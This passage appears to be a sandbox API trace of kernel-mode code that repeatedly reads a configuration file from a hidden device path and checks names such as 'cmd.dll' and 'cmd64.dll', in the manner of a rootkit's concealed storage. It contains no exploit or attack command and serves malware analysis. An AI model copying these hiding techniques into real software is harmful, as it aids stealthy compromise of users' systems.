(in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.220] KeEnterCriticalRegion () [0128.220] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.220] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003450000 [0128.220] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.220] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.220] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.220] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.220] IdePortDispatch () returned 0x103 [0128.220] KeWaitForMutexObject () returned 0x0 [0128.220] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.220] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.220] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.220] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.220] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.220] IdePortDispatch () returned 0x103 [0128.220] KeWaitForMutexObject () returned 0x0 [0128.220] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.220] KeLeaveCriticalRegion () [0128.220] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.221] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.221] KeEnterCriticalRegion () [0128.221] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.221] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.221] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.221] KeLeaveCriticalRegion () [0128.221] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.221] KeEnterCriticalRegion () [0128.221] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.221] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.221] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800c4f7450, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.221] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.221] KeLeaveCriticalRegion () [0128.221] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.222] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.222] KeEnterCriticalRegion () [0128.222] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.222] ExFreePoolWithTag (P=0xfffffa80038cec40, Tag=0x0) [0128.222] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.222] KeLeaveCriticalRegion () [0128.222] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.222] ReleaseMutex (hMutex=0xf0) returned 1 [0128.222] Sleep (dwMilliseconds=0x124f80) [0128.231] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.236] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.236] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.236] KeEnterCriticalRegion () [0128.236] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.236] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.236] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.236] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.236] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0128.236] IdePortDispatch () returned 0x103 [0128.236] KeWaitForMutexObject () returned 0x0 [0128.236] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.236] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.236] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.236] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.237] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.237] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfe900 [0128.237] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.237] KeLeaveCriticalRegion () [0128.237] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.237] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.237] KeEnterCriticalRegion () [0128.237] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.237] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.237] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.237] KeLeaveCriticalRegion () [0128.237] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.237] KeEnterCriticalRegion () [0128.237] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.237] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.237] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.237] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.237] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0128.237] IdePortDispatch () returned 0x103 [0128.237] KeWaitForMutexObject () returned 0x0 [0128.237] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.237] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.237] KeLeaveCriticalRegion () [0128.237] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.237] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.238] KeEnterCriticalRegion () [0128.238] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.238] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003454000 [0128.238] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.238] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.238] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.238] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.238] IdePortDispatch () returned 0x103 [0128.238] KeWaitForMutexObject () returned 0x0 [0128.238] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.238] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.238] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.238] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.238] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.238] IdePortDispatch () returned 0x103 [0128.238] KeWaitForMutexObject () returned 0x0 [0128.238] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.238] KeLeaveCriticalRegion () [0128.238] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.239] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.239] KeEnterCriticalRegion () [0128.239] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.239] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.239] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.239] KeLeaveCriticalRegion () [0128.239] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.239] KeEnterCriticalRegion () [0128.239] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.239] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.239] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ac9970, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.239] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.239] KeLeaveCriticalRegion () [0128.239] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.240] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.240] KeEnterCriticalRegion () [0128.240] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.240] ExFreePoolWithTag (P=0xfffffa8003bfe900, Tag=0x0) [0128.240] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.240] KeLeaveCriticalRegion () [0128.240] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.240] ReleaseMutex (hMutex=0xf0) returned 1 [0128.240] Sleep (dwMilliseconds=0x124f80) [0128.251] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.251] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.251] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.251] KeEnterCriticalRegion () [0128.251] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.251] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.251] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.251] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.251] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0128.251] IdePortDispatch () returned 0x103 [0128.251] KeWaitForMutexObject () returned 0x0 [0128.252] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.252] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.252] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.252] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.252] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.252] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfe900 [0128.252] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.252] KeLeaveCriticalRegion () [0128.252] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.252] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.252] KeEnterCriticalRegion () [0128.252] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.252] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.252] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.252] KeLeaveCriticalRegion () [0128.252] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.252] KeEnterCriticalRegion () [0128.252] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.252] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.252] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.252] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.252] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0128.252] IdePortDispatch () returned 0x103 [0128.252] KeWaitForMutexObject () returned 0x0 [0128.253] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.253] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.253] KeLeaveCriticalRegion () [0128.253] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.253] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.253] KeEnterCriticalRegion () [0128.253] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.253] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003457000 [0128.253] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.253] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.253] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.253] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.253] IdePortDispatch () returned 0x103 [0128.253] KeWaitForMutexObject () returned 0x0 [0128.253] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.253] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.253] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.253] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.253] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.253] IdePortDispatch () returned 0x103 [0128.254] KeWaitForMutexObject () returned 0x0 [0128.254] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.254] KeLeaveCriticalRegion () [0128.254] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.254] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.254] KeEnterCriticalRegion () [0128.254] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.254] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.254] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.254] KeLeaveCriticalRegion () [0128.255] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.255] KeEnterCriticalRegion () [0128.255] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.255] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.255] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfe6c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.255] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.255] KeLeaveCriticalRegion () [0128.255] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.255] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.255] KeEnterCriticalRegion () [0128.255] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.255] ExFreePoolWithTag (P=0xfffffa8003bfe900, Tag=0x0) [0128.255] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.255] KeLeaveCriticalRegion () [0128.255] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.255] ReleaseMutex (hMutex=0xf0) returned 1 [0128.255] Sleep (dwMilliseconds=0x124f80) [0128.273] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.273] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.273] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.273] KeEnterCriticalRegion () [0128.273] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.273] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.273] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.273] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.273] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0128.273] IdePortDispatch () returned 0x103 [0128.274] KeWaitForMutexObject () returned 0x0 [0128.274] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.274] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.274] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.274] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.274] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.274] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfe6b0 [0128.274] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.274] KeLeaveCriticalRegion () [0128.274] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.274] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.274] KeEnterCriticalRegion () [0128.275] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.275] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.275] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.275] KeLeaveCriticalRegion () [0128.275] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.275] KeEnterCriticalRegion () [0128.275] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.275] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.275] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.275] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.275] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0128.275] IdePortDispatch () returned 0x103 [0128.275] KeWaitForMutexObject () returned 0x0 [0128.275] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.275] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.275] KeLeaveCriticalRegion () [0128.275] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.275] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.275] KeEnterCriticalRegion () [0128.275] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.275] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800345c000 [0128.275] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.275] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.275] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.275] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.275] IdePortDispatch () returned 0x103 [0128.276] KeWaitForMutexObject () returned 0x0 [0128.276] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.276] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.276] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.276] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.276] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.276] IdePortDispatch () returned 0x103 [0128.276] KeWaitForMutexObject () returned 0x0 [0128.276] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.276] KeLeaveCriticalRegion () [0128.276] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.277] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.277] KeEnterCriticalRegion () [0128.277] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.277] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.277] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.277] KeLeaveCriticalRegion () [0128.277] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.277] KeEnterCriticalRegion () [0128.277] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | 